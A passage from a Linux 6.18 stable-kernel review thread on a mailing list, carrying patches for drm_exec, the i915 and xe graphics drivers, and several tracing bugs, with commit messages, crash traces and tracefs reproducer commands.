@@ -178,16 +195,16 @@ static int drm_exec_lock_contended(struc
dma_resv_lock_slow(obj->resv, &exec->ticket);
}
- ret = drm_exec_obj_locked(exec, obj);
- if (unlikely(ret))
- goto error_unlock;
+ /*
+ * It is perfectly possible that we see another contention before the
+ * first one is fully handled.
+ */
+ drm_exec_drop_prelocked(exec);
+ /* We move the reference from contended to prelocked here */
exec->prelocked = obj;
return 0;
-error_unlock:
- dma_resv_unlock(obj->resv);
-
error_dropref:
drm_gem_object_put(obj);
return ret;
@@ -215,35 +232,31 @@ int drm_exec_lock_obj(struct drm_exec *e
if (exec->prelocked == obj) {
drm_gem_object_put(exec->prelocked);
exec->prelocked = NULL;
- return 0;
- }
+ } else {
+ if (exec->flags & DRM_EXEC_INTERRUPTIBLE_WAIT)
+ ret = dma_resv_lock_interruptible(obj->resv,
+ &exec->ticket);
+ else
+ ret = dma_resv_lock(obj->resv, &exec->ticket);
+
+ if (unlikely(ret == -EDEADLK)) {
+ drm_gem_object_get(obj);
+ exec->contended = obj;
+ return -EDEADLK;
+ }
+
+ if (unlikely(ret == -EALREADY) &&
+ exec->flags & DRM_EXEC_IGNORE_DUPLICATES)
+ return 0;
- if (exec->flags & DRM_EXEC_INTERRUPTIBLE_WAIT)
- ret = dma_resv_lock_interruptible(obj->resv, &exec->ticket);
- else
- ret = dma_resv_lock(obj->resv, &exec->ticket);
-
- if (unlikely(ret == -EDEADLK)) {
- drm_gem_object_get(obj);
- exec->contended = obj;
- return -EDEADLK;
+ if (unlikely(ret))
+ return ret;
}
- if (unlikely(ret == -EALREADY) &&
- exec->flags & DRM_EXEC_IGNORE_DUPLICATES)
- return 0;
-
- if (unlikely(ret))
- return ret;
-
ret = drm_exec_obj_locked(exec, obj);
if (ret)
- goto error_unlock;
-
- return 0;
+ dma_resv_unlock(obj->resv);
-error_unlock:
- dma_resv_unlock(obj->resv);
return ret;
}
EXPORT_SYMBOL(drm_exec_lock_obj);
--- a/include/drm/drm_exec.h
+++ b/include/drm/drm_exec.h
@@ -67,13 +67,15 @@ drm_exec_obj(struct drm_exec *exec, unsi
/* Helper for drm_exec_for_each_locked_object(). Internal use only. */
#define __drm_exec_for_each_locked_object(exec, obj, __index) \
- for (unsigned long __index = 0; ((obj) = drm_exec_obj(exec, __index)); ++__index)
+ for (unsigned long __index = 0; ((obj) = drm_exec_obj(exec, __index)); \
+ ++__index)
/**
* drm_exec_for_each_locked_object - iterate over all the locked objects
* @exec: drm_exec object
* @obj: the current GEM object
*
- * Iterate over all the locked GEM objects inside the drm_exec object.
+ * Iterate over all the explicitly locked GEM objects inside the drm_exec
+ * container, except for the contended and implicit prelocked one.
*/
#define drm_exec_for_each_locked_object(exec, obj) \
__drm_exec_for_each_locked_object(exec, obj, __UNIQUE_ID(drm_exec))
@@ -88,12 +90,13 @@ drm_exec_obj(struct drm_exec *exec, unsi
* @exec: drm_exec object
* @obj: the current GEM object
*
- * Iterate over all the locked GEM objects inside the drm_exec object in
- * reverse locking order. Note that the internal index may wrap around,
- * but that will be caught by drm_exec_obj(), returning a NULL object.
+ * Iterate over all the explicitly locked GEM objects inside the drm_exec
+ * container in reverse locking order. Note that the internal index may wrap
+ * around, but that will be caught by drm_exec_obj(), returning a NULL object.
*/
#define drm_exec_for_each_locked_object_reverse(exec, obj) \
- __drm_exec_for_each_locked_object_reverse(exec, obj, __UNIQUE_ID(drm_exec))
+ __drm_exec_for_each_locked_object_reverse(exec, obj, \
+ __UNIQUE_ID(drm_exec))
/**
* drm_exec_until_all_locked - loop until all GEM objects are locked
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 108/193] drm/i915/cx0_phy: Fix ARL-S host bridge detection
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (106 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 107/193] drm/exec: dont immediately add prelocked obj to array of locked objs Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 109/193] drm/i915/dmc: Add sanity check for DMC load address Greg Kroah-Hartman
` (95 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Jani Nikula, Dnyaneshwar Bhadane,
Chaitanya Kumar Borah, Joonas Lahtinen
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Dnyaneshwar Bhadane <dnyaneshwar.bhadane@intel.com>
commit 6a8bf59de3ef47ff51face6ea826395a1098baa0 upstream.
Fix is_arrowlake_s_by_host_bridge() which always returned false.
The while loop always exits with pdev as NULL, so the return
condition was always false, causing the wrong tx_misc value to be used.
Check the host bridge ID inside the loop body. Once found early exit
from the loop release the pci reference "pdev" and return true.
v2:
- Update commit message (Chaitanya)
Bspec:74165,74491
Suggested-by: Jani Nikula <jani.nikula@intel.com>
Cc: <stable@vger.kernel.org>
Fixes: 3630a47b700e ("drm/i915/cx0_phy: Update HDMI TMDS C20 algorithm value")
Signed-off-by: Dnyaneshwar Bhadane <dnyaneshwar.bhadane@intel.com>
Reviewed-by: Chaitanya Kumar Borah <chaitanya.kumar.borah@intel.com>
Signed-off-by: Chaitanya Kumar Borah <chaitanya.kumar.borah@intel.com>
Link: https://patch.msgid.link/20260921090226.946472-1-dnyaneshwar.bhadane@intel.com
(cherry picked from commit 0507cc5a476af0b6d037b19248bdd20dbe27487d)
Signed-off-by: Joonas Lahtinen <joonas.lahtinen@linux.intel.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/gpu/drm/i915/display/intel_cx0_phy.c | 12 +++++++-----
1 file changed, 7 insertions(+), 5 deletions(-)
--- a/drivers/gpu/drm/i915/display/intel_cx0_phy.c
+++ b/drivers/gpu/drm/i915/display/intel_cx0_phy.c
@@ -2202,12 +2202,14 @@ static void intel_c10pll_dump_hw_state(s
static bool is_arrowlake_s_by_host_bridge(void)
{
struct pci_dev *pdev = NULL;
- u16 host_bridge_pci_dev_id;
+ while ((pdev = pci_get_class(PCI_CLASS_BRIDGE_HOST << 8, pdev))) {
+ if (IS_ARROWLAKE_S_BY_HOST_BRIDGE_ID(pdev->device)) {
+ pci_dev_put(pdev);
+ return true;
+ }
+ }
- while ((pdev = pci_get_class(PCI_CLASS_BRIDGE_HOST << 8, pdev)))
- host_bridge_pci_dev_id = pdev->device;
-
- return pdev && IS_ARROWLAKE_S_BY_HOST_BRIDGE_ID(host_bridge_pci_dev_id);
+ return false;
}
static u16 intel_c20_hdmi_tmds_tx_cgf_1(struct intel_crtc_state *crtc_state)
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 109/193] drm/i915/dmc: Add sanity check for DMC load address
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (107 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 108/193] drm/i915/cx0_phy: Fix ARL-S host bridge detection Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 110/193] drm/xe: Bump LRU for external objects on exec and rebind Greg Kroah-Hartman
` (94 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Dibin Moolakadan Subrahmanian,
Mitul Golani, Ankit Nautiyal, Joonas Lahtinen
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Dibin Moolakadan Subrahmanian <dibin.moolakadan.subrahmanian@intel.com>
commit 7dedc5bb11f95e96fe80757c924d8d9aa7327759 upstream.
For DMC firmware header version 3, the firmware load address is stored
in dmc_info->start_mmioaddr and later used by dmc_load_program().
Unlike the MMIO address table, the firmware load address is not
validated. Add a sanity check to ensure it is within the valid range.
BSpec: 69671, 68378
Fixes: 3d5928a168a9 ("drm/i915/xelpd: Pipe A DMC plugging")
Cc: stable@vger.kernel.org
Assisted-by: Claude-Code:Sonnet-5
Signed-off-by: Dibin Moolakadan Subrahmanian <dibin.moolakadan.subrahmanian@intel.com>
Reviewed-by: Mitul Golani<mitulkumar.ajitkumar.golani@intel.com>
Signed-off-by: Ankit Nautiyal <ankit.k.nautiyal@intel.com>
Link: https://patch.msgid.link/20260922133535.3180973-6-dibin.moolakadan.subrahmanian@intel.com
(cherry picked from commit 5e47ee5c76ca9becde8df4ad5202845b7ffcbc4c)
Signed-off-by: Joonas Lahtinen <joonas.lahtinen@linux.intel.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/gpu/drm/i915/display/intel_dmc.c | 55 ++++++++++++++++++++++++++
drivers/gpu/drm/i915/display/intel_dmc_regs.h | 12 +++++
2 files changed, 67 insertions(+)
--- a/drivers/gpu/drm/i915/display/intel_dmc.c
+++ b/drivers/gpu/drm/i915/display/intel_dmc.c
@@ -986,6 +986,55 @@ static void dmc_set_fw_offset(struct int
}
}
+/*
+ * Check if the load address is within the valid range for the given DMC ID.
+ */
+static bool dmc_load_addr_sanity_check(struct intel_dmc *dmc,
+ u32 start_addr, u32 payload_size,
+ int header_ver, enum intel_dmc_id dmc_id)
+{
+ u32 start_range, end_range, end_addr;
+
+ if (header_ver != 3)
+ return true;
+
+ switch (dmc_id) {
+ case DMC_FW_MAIN:
+ start_range = DMC_MAIN_PROGRAM_BASE_START;
+ end_range = DMC_MAIN_PROGRAM_BASE_END;
+ break;
+ case DMC_FW_PIPEA:
+ start_range = DMC_PIPEA_PROGRAM_BASE_START;
+ end_range = DMC_PIPEA_PROGRAM_BASE_END;
+ break;
+ case DMC_FW_PIPEB:
+ start_range = DMC_PIPEB_PROGRAM_BASE_START;
+ end_range = DMC_PIPEB_PROGRAM_BASE_END;
+ break;
+ case DMC_FW_PIPEC:
+ start_range = DMC_PIPEC_PROGRAM_BASE_START;
+ end_range = DMC_PIPEC_PROGRAM_BASE_END;
+ break;
+ case DMC_FW_PIPED:
+ start_range = DMC_PIPED_PROGRAM_BASE_START;
+ end_range = DMC_PIPED_PROGRAM_BASE_END;
+ break;
+ default:
+ MISSING_CASE(dmc_id);
+ return false;
+ }
+
+ if (payload_size == 0)
+ end_addr = start_addr;
+ else if (check_add_overflow(start_addr, payload_size - 1, &end_addr))
+ return false;
+
+ if (start_addr < start_range || end_addr > end_range)
+ return false;
+
+ return true;
+}
+
static bool dmc_mmio_addr_sanity_check(struct intel_dmc *dmc,
const u32 *mmioaddr, u32 mmio_count,
int header_ver, enum intel_dmc_id dmc_id)
@@ -1145,6 +1194,12 @@ static u32 parse_dmc_fw_header(struct in
}
dmc_info->dmc_fw_size = dmc_header->fw_size;
+ if (!dmc_load_addr_sanity_check(dmc, start_mmioaddr, payload_size,
+ dmc_header->header_ver, dmc_id)) {
+ drm_err(display->drm, "DMC %d: firmware has wrong load address\n", dmc_id);
+ return 0;
+ }
+
dmc_info->payload = kmalloc(payload_size, GFP_KERNEL);
if (!dmc_info->payload)
return 0;
--- a/drivers/gpu/drm/i915/display/intel_dmc_regs.h
+++ b/drivers/gpu/drm/i915/display/intel_dmc_regs.h
@@ -521,6 +521,18 @@ enum pipedmc_event_id {
#define TGL_PIPE_MMIO_END(dmc_id) _PICK_EVEN(((dmc_id) - 1), _TGL_PIPEA_MMIO_END,\
_TGL_PIPEB_MMIO_END)
+/* For DMC header version v3*/
+#define DMC_MAIN_PROGRAM_BASE_START 0x80000
+#define DMC_MAIN_PROGRAM_BASE_END 0x86fff
+#define DMC_PIPEA_PROGRAM_BASE_START 0x90000
+#define DMC_PIPEA_PROGRAM_BASE_END 0x96fff
+#define DMC_PIPEB_PROGRAM_BASE_START 0x98000
+#define DMC_PIPEB_PROGRAM_BASE_END 0x9efff
+#define DMC_PIPEC_PROGRAM_BASE_START 0x52000
+#define DMC_PIPEC_PROGRAM_BASE_END 0x53fff
+#define DMC_PIPED_PROGRAM_BASE_START 0x59000
+#define DMC_PIPED_PROGRAM_BASE_END 0x5afff
+
#define SKL_DMC_DC3_DC5_COUNT _MMIO(0x80030)
#define SKL_DMC_DC5_DC6_COUNT _MMIO(0x8002C)
#define BXT_DMC_DC3_DC5_COUNT _MMIO(0x80038)
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 110/193] drm/xe: Bump LRU for external objects on exec and rebind
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (108 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 109/193] drm/i915/dmc: Add sanity check for DMC load address Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 111/193] tracing: Fix the shift out of bounds in the log2 histogram modifier Greg Kroah-Hartman
` (93 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Matthew Auld, Matthew Brost,
Thomas Hellström, Rodrigo Vivi
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Thomas Hellström <thomas.hellstrom@linux.intel.com>
commit d2ce8fcd778ee6d92748c92d23a56d4416c29d86 upstream.
The VM's private BOs get their LRU position refreshed in bulk via
ttm_lru_bulk_move_tail() on vm->lru_bulk_move, both after a successful
non-LR exec and after the LR preempt-fence rebind worker runs. External
objects (BOs potentially shared across VMs) are never added to that
per-VM bulk move list, so their LRU position is never refreshed by
either path. This makes external objects in active use look more
evictable than they are.
Add xe_vm_bump_lru(), which, under a single lru_lock critical section,
performs the bulk move of the VM's private BOs and bumps each external
object locked by the drm_exec transaction. Use it from both the non-LR
exec path and the LR rebind worker, replacing the open-coded bulk move.
Fixes: d490ecf57790 ("drm/xe: Rework xe_exec and the VM rebind worker to use the drm_exec helper")
Cc: Matthew Auld <matthew.auld@intel.com>
Cc: Matthew Brost <matthew.brost@intel.com>
Cc: <stable@vger.kernel.org> # v6.8+
Assisted-by: LLM
Signed-off-by: Thomas Hellström <thomas.hellstrom@linux.intel.com>
Reviewed-by: Matthew Brost <matthew.brost@intel.com>
Reviewed-by: Matthew Auld <matthew.auld@intel.com>
Link: https://patch.msgid.link/20261012132607.21387-1-thomas.hellstrom@linux.intel.com
(cherry picked from commit 324ba30cca180c2e1d02090743dd78ccb15b9e4a)
Signed-off-by: Rodrigo Vivi <rodrigo.vivi@intel.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/gpu/drm/xe/xe_exec.c | 7 ++-----
drivers/gpu/drm/xe/xe_vm.c | 31 ++++++++++++++++++++++++++++---
drivers/gpu/drm/xe/xe_vm.h | 2 ++
3 files changed, 32 insertions(+), 8 deletions(-)
--- a/drivers/gpu/drm/xe/xe_exec.c
+++ b/drivers/gpu/drm/xe/xe_exec.c
@@ -346,11 +346,8 @@ retry:
xe_sched_job_push(job);
xe_vm_reactivate_rebind(vm);
- if (!err && !xe_vm_in_lr_mode(vm)) {
- spin_lock(&xe->ttm.lru_lock);
- ttm_lru_bulk_move_tail(&vm->lru_bulk_move);
- spin_unlock(&xe->ttm.lru_lock);
- }
+ if (!err && !xe_vm_in_lr_mode(vm))
+ xe_vm_bump_lru(vm, exec);
if (mode == EXEC_MODE_LR)
xe_hw_engine_group_resume_faulting_lr_jobs(group);
--- a/drivers/gpu/drm/xe/xe_vm.c
+++ b/drivers/gpu/drm/xe/xe_vm.c
@@ -376,6 +376,33 @@ int xe_vm_validate_rebind(struct xe_vm *
return 0;
}
+/**
+ * xe_vm_bump_lru() - Bump the LRU position of BOs used by a submission
+ * @vm: The vm for which we are bumping LRUs.
+ * @exec: The struct drm_exec with the locked GEM objects.
+ *
+ * Move the VM's private BOs, and all external objects locked by @exec,
+ * to the LRU tail. Private BOs are moved in bulk using @vm's
+ * &xe_vm.lru_bulk_move. External objects, which may be shared with other
+ * VMs, are not part of that bulk move and are bumped individually.
+ */
+void xe_vm_bump_lru(struct xe_vm *vm, struct drm_exec *exec)
+{
+ spinlock_t *lru_lock = &vm->xe->ttm.lru_lock;
+ struct drm_gem_object *obj;
+
+ spin_lock(lru_lock);
+ ttm_lru_bulk_move_tail(&vm->lru_bulk_move);
+ drm_exec_for_each_locked_object(exec, obj) {
+ if (!drm_gpuvm_is_extobj(&vm->gpuvm, obj))
+ continue;
+
+ ttm_bo_move_to_lru_tail(&gem_to_xe_bo(obj)->ttm);
+ cond_resched_lock(lru_lock);
+ }
+ spin_unlock(lru_lock);
+}
+
static int xe_preempt_work_begin(struct drm_exec *exec, struct xe_vm *vm,
bool *done)
{
@@ -524,9 +551,7 @@ retry:
#undef retry_required
- spin_lock(&vm->xe->ttm.lru_lock);
- ttm_lru_bulk_move_tail(&vm->lru_bulk_move);
- spin_unlock(&vm->xe->ttm.lru_lock);
+ xe_vm_bump_lru(vm, &exec);
/* Point of no return. */
arm_preempt_fences(vm, &preempt_fences);
--- a/drivers/gpu/drm/xe/xe_vm.h
+++ b/drivers/gpu/drm/xe/xe_vm.h
@@ -265,6 +265,8 @@ int xe_vm_lock_vma(struct drm_exec *exec
int xe_vm_validate_rebind(struct xe_vm *vm, struct drm_exec *exec,
unsigned int num_fences);
+void xe_vm_bump_lru(struct xe_vm *vm, struct drm_exec *exec);
+
struct dma_fence *xe_vm_bind_kernel_bo(struct xe_vm *vm, struct xe_bo *bo,
struct xe_exec_queue *q, u64 addr,
enum xe_cache_level cache_lvl);
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 111/193] tracing: Fix the shift out of bounds in the log2 histogram modifier
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (109 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 110/193] drm/xe: Bump LRU for external objects on exec and rebind Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 112/193] tracing: Take trace_types_lock when dropping the buffer_meta reference Greg Kroah-Hartman
` (92 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Donggeun Yoo, Steven Rostedt
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Donggeun Yoo <donggeunyoo.kernel@gmail.com>
commit 647c2f97fcb94bc642cefe6db004999974563f06 upstream.
The .log2 key modifier files a value under its base-2 order:
# echo 'hist:keys=bytes_req.log2' > events/kmem/kmalloc/trigger
hist_field_log2() computes that as ilog2(roundup_pow_of_two(val)). The
out-of-line form of roundup_pow_of_two() is
return 1UL << fls_long(n - 1);
which shifts by 64 on a 64-bit kernel both when n is 0, where n - 1
wraps to ULONG_MAX, and when n is above 2^63. Both are ordinary keys,
because the field fetch hands every value over as a u64: a syscall
argument of 0 reaches the first, and one above 2^63 reaches the second.
Keying sys_enter_lseek on offset.log2 and passing 0, 1, 2, 3, 1000,
2^63+1 and U64_MAX gives
{ offset: ~ 2^1 } hitcount: 1
{ offset: ~ 2^10 } hitcount: 1
{ offset: ~ 2^2 } hitcount: 1
{ offset: ~ 2^0 } hitcount: 4
Keys above 2^63 land in the lowest bucket. With CONFIG_UBSAN_SHIFT=y
the shift is also reported:
UBSAN: shift-out-of-bounds in include/linux/log2.h:57:13
shift exponent 64 is too large for 64-bit type 'long unsigned int'
__ubsan_handle_shift_out_of_bounds.cold+0xdd/0x1cb
hist_fn_call.cold+0x8b/0xd9
event_hist_trigger+0x1cc/0x790
ftrace_syscall_enter+0x197/0x360
do_syscall_64+0x402/0x4b0
Use order_base_2(), which is ilog2(n - 1) + 1 for n > 1 and 0 below
that. It returns what the old expression returned on every input the
old one was defined for. Where it was not, 0 stays in bucket 0, which
is where x86_64 had been putting it, and the keys above 2^63 move into
bucket 64.
Cc: stable@vger.kernel.org
Link: https://patch.msgid.link/20260916002735.808520-1-donggeunyoo.kernel@gmail.com
Fixes: 4b94f5b7b4a5 ("tracing: Add hist trigger 'log2' modifier")
Signed-off-by: Donggeun Yoo <donggeunyoo.kernel@gmail.com>
Assisted-by: Claude:claude-fable-5
Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/trace/trace_events_hist.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
--- a/kernel/trace/trace_events_hist.c
+++ b/kernel/trace/trace_events_hist.c
@@ -284,7 +284,7 @@ static u64 hist_field_log2(struct hist_f
u64 val = hist_fn_call(operand, elt, buffer, rbe, event);
- return (u64) ilog2(roundup_pow_of_two(val));
+ return order_base_2(val);
}
static u64 hist_field_bucket(struct hist_field *hist_field,
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 112/193] tracing: Take trace_types_lock when dropping the buffer_meta reference
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (110 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 111/193] tracing: Fix the shift out of bounds in the log2 histogram modifier Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 113/193] tracing: Check operator stack capacity before pushing Greg Kroah-Hartman
` (91 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, David Carlier, Steven Rostedt
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: David Carlier <devnexen@gmail.com>
commit 2afe7575fb24b9d0476ae4a3a9862f7997216aa4 upstream.
tracing_buffer_meta_open() drops the trace_array reference with
__trace_array_put() when ring_buffer_meta_seq_init() fails, without
holding trace_types_lock. Use trace_array_put() like every other open
error path.
Cc: stable@vger.kernel.org
Link: https://patch.msgid.link/20260914133506.4865-2-devnexen@gmail.com
Fixes: 950032ffcee7 ("ring-buffer: Add output of ring buffer meta page")
Signed-off-by: David Carlier <devnexen@gmail.com>
Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/trace/trace.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
--- a/kernel/trace/trace.c
+++ b/kernel/trace/trace.c
@@ -7127,7 +7127,7 @@ static int tracing_buffer_meta_open(stru
ret = ring_buffer_meta_seq_init(filp, tr->array_buffer.buffer, cpu);
if (ret < 0)
- __trace_array_put(tr);
+ trace_array_put(tr);
return ret;
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 113/193] tracing: Check operator stack capacity before pushing
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (111 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 112/193] tracing: Take trace_types_lock when dropping the buffer_meta reference Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 114/193] tracing: Do not initialize tracefs work if tracing is disabled Greg Kroah-Hartman
` (90 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Taeyang Lee, Steven Rostedt
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Taeyang Lee <0wn@theori.io>
commit c47a7b11bcb3d45e29723afcf6336866476b1d08 upstream.
predicate_parse() uses the first operator stack entry before processing
any opening parentheses. A push then increments top before writing.
The existing check still permits that write when top already points to
the last allocated entry, which can access beyond the operator stack.
Reject the push when top reaches the last allocated entry.
Cc: stable@vger.kernel.org
Fixes: 39f7c41c908b ("tracing/filters: Enable filtering a cpumask field by another cpumask")
Link: https://patch.msgid.link/atELO9L0I9kg5CpC@Taeyangs-MacBook-Pro.local
Signed-off-by: Taeyang Lee <0wn@theori.io>
Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/trace/trace_events_filter.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
--- a/kernel/trace/trace_events_filter.c
+++ b/kernel/trace/trace_events_filter.c
@@ -512,7 +512,7 @@ predicate_parse(const char *str, int nr_
switch (*next) {
case '(': /* #2 */
- if (top - op_stack > nr_parens) {
+ if (top - op_stack >= nr_parens - 1) {
ret = -EINVAL;
goto out_free;
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 114/193] tracing: Do not initialize tracefs work if tracing is disabled
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (112 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 113/193] tracing: Check operator stack capacity before pushing Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 115/193] tracing: Fix hist trigger timestamps for buffered events Greg Kroah-Hartman
` (89 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Michal Suchánek, Amit Machhiwal,
Masami Hiramatsu (Google), Steven Rostedt
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Amit Machhiwal <amachhiw@linux.ibm.com>
commit b3b974008388ab59e44d764ba7a63c988fec2524 upstream.
If trace buffer allocation fails during early boot (e.g. in
early_trace_init() -> allocate_trace_buffers()), tracing_disabled is
left set to 1 and the global trace array events list remains
uninitialized.
Later during boot, tracer_init_tracefs() (invoked via fs_initcall)
queues tracerfs_init_work asynchronously without checking if tracing was
disabled. When tracer_init_tracefs_work_func() runs, it calls
event_trace_init() and init_tracer_tracefs(&global_trace, NULL)
unconditionally. This leads to __find_event_file() dereferencing an
uninitialized tr->events list, causing an early boot NULL pointer
dereference Oops:
BUG: Kernel NULL pointer dereference on read at 0x00000010
Faulting instruction address: 0xc000000000485be0
Oops: Kernel access of bad area, sig: 7 [#1]
...
NIP [c000000000485be0] __find_event_file+0x70/0x3c0
LR [c000000000448874] init_tracer_tracefs+0x274/0xc80
Call Trace:
init_tracer_tracefs+0x274/0xc80
tracer_init_tracefs_work_func+0x50/0x320
process_one_work+0x1e8/0x5c0
worker_thread+0x1dc/0x3d0
kthread+0x194/0x1b0
start_kernel_thread+0x14/0x18
Check tracing_disabled at the beginning of tracer_init_tracefs_work_func()
and return immediately if tracing is disabled or failed to initialize,
preventing the crash.
Cc: stable@vger.kernel.org
Fixes: 6621a7004684 ("tracing: make tracer_init_tracefs initcall asynchronous")
Link: https://patch.msgid.link/20261009163557.88467-2-amachhiw@linux.ibm.com
Reported-by: Michal Suchánek <msuchanek@suse.de>
Closes: https://lore.kernel.org/all/arYskzbiaNzBR9MD@kunlun.suse.cz/
Signed-off-by: Amit Machhiwal <amachhiw@linux.ibm.com>
Tested-by: Michal Suchánek <msuchanek@suse.de>
Acked-by: Masami Hiramatsu (Google) <mhiramat@kernel.org>
Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/trace/trace.c | 6 ++++++
1 file changed, 6 insertions(+)
--- a/kernel/trace/trace.c
+++ b/kernel/trace/trace.c
@@ -10730,6 +10730,12 @@ static struct notifier_block trace_modul
static __init void tracer_init_tracefs_work_func(struct work_struct *work)
{
+ /*
+ * Do not attempt to initialize tracefs if tracing was disabled or
+ * failed to allocate
+ */
+ if (tracing_disabled)
+ return;
event_trace_init();
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 115/193] tracing: Fix hist trigger timestamps for buffered events
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (113 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 114/193] tracing: Do not initialize tracefs work if tracing is disabled Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 116/193] wifi: p54: validate firmware record lengths Greg Kroah-Hartman
` (88 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Tengda Wu, Steven Rostedt
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Tengda Wu <wutengda@huaweicloud.com>
commit 9414ca3b99e5a7f1f3bf51c2a01b383e1b355dd0 upstream.
Syzkaller triggered a WARN_ON_ONCE(!nest) warning:
WARNING: kernel/trace/ring_buffer.c:821 at ring_buffer_event_time_stamp
Call trace:
ring_buffer_event_time_stamp
hist_field_timestamp
hist_fn_call
event_hist_trigger
event_triggers_call
__event_trigger_test_discard
trace_event_buffer_commit
do_trace_event_raw_event_sched_switch
trace_event_raw_event_sched_switch
The warning is probabilistically reproducible and is related to syzkaller
executing the following commands:
echo 'prev_pid == 999999' > events/sched/sched_switch/filter
echo 'hist:keys=common_timestamp' > events/sched/sched_switch/trigger
The specific triggering process is as follows:
CPU 0 CPU 1
(context switching) (echo 'hist:keys=common_timestamp' > \
events/sched/sched_switch/trigger)
do_trace_event_raw_event_##call
trace_event_buffer_lock_reserve
if (!tr->no_filter_buffering_ref &&
trace_file->flags & EVENT_FILE_FL_FILTERED)
return entry; // return directly
